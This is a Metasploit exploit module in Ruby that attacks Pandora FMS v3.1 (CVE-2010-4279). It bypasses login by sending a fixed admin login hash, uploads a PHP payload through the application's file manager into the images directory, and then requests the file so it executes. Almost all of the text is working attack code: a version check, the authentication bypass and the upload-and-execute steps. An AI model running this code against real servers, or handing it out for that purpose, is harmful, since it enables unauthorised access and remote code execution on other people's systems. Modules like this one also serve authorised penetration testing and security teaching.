## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Pandora FMS v3.1 Auth Bypass and Arbitrary File Upload Vulnerability", 'Description' => %q{ This module exploits an authentication bypass vulnerability in Pandora FMS v3.1 as disclosed by Juan Galiana Lara. It also integrates with the built-in pandora upload which allows a user to upload arbitrary files to the '/images/' directory. This module was created as an exercise in the Metasploit Mastery Class at Blackhat that was facilitated by egypt and mubix. }, 'License' => MSF_LICENSE, 'Author' => [ 'Juan Galiana Lara', # Vulnerability discovery 'Raymond Nunez ', # Metasploit module 'Elizabeth Loyola ', # Metasploit module 'Fr330wn4g3 ', # Metasploit module '_flood ', # Metasploit module 'mubix ', # Auth bypass and file upload 'egypt ', # Auth bypass and file upload ], 'References' => [ ['CVE', '2010-4279'], ['OSVDB', '69549'], ['BID', '45112'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['Automatic Targeting', { 'auto' => true }] ], 'Privileged' => false, 'DisclosureDate' => "Nov 30 2010", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the web application', '/pandora_console/']), ], self.class) end def check base = target_uri.path # retrieve software version from login page begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(base, 'index.php') }) if res and res.code == 200 #Tested on v3.1 Build PC100609 and PC100608 if res.body.include?("v3.1 Build PC10060") return Exploit::CheckCode::Appears elsif res.body.include?("Pandora") return Exploit::CheckCode::Detected end end return Exploit::CheckCode::Safe rescue ::Rex::ConnectionError vprint_error("#{peer} - Connection failed") end return Exploit::CheckCode::Unknown end # upload a payload using the pandora built-in file upload def upload(base, file, cookies) data = Rex::MIME::Message.new data.add_part(file, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@fname}\"") data.add_part("Go", nil, nil, 'form-data; name="go"') data.add_part("images", nil, nil, 'form-data; name="directory"') data.add_part("1", nil, nil, 'form-data; name="upload_file"') data_post = data.to_s data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base, 'index.php'), 'cookie' => cookies, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'vars_get' => { 'sec' => 'gsetup', 'sec2' => 'godmode/setup/file_manager', }, 'data' => data_post }) register_files_for_cleanup(@fname) return res end def exploit base = target_uri.path @fname = "#{rand_text_numeric(7)}.php" cookies = "" # bypass authentication and get session cookie res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(base, 'index.php'), 'vars_get' => { 'loginhash_data' => '21232f297a57a5a743894a0e4a801fc3', 'loginhash_user' => 'admin', 'loginhash' => '1', }, }) # fix if logic if res and res.code == 200 if res.body.include?("Logout") cookies = res.get_cookies print_status("Login Bypass Successful") print_status("cookie monster = " + cookies) else fail_with(Failure::NotVulnerable, "Login Bypass Failed") end end # upload PHP payload to images/[fname] print_status("#{peer} - Uploading PHP payload (#{payload.encoded.length} bytes)") php = %Q|| begin res = upload(base, php, cookies) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Connection failed") end if res and res.code == 200 print_good("#{peer} - File uploaded successfully") else fail_with(Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed") end # retrieve and execute PHP payload print_status("#{peer} - Executing payload (images/#{@fname})") begin res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(base, 'images', "#{@fname}") }, 1) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Connection failed") end end end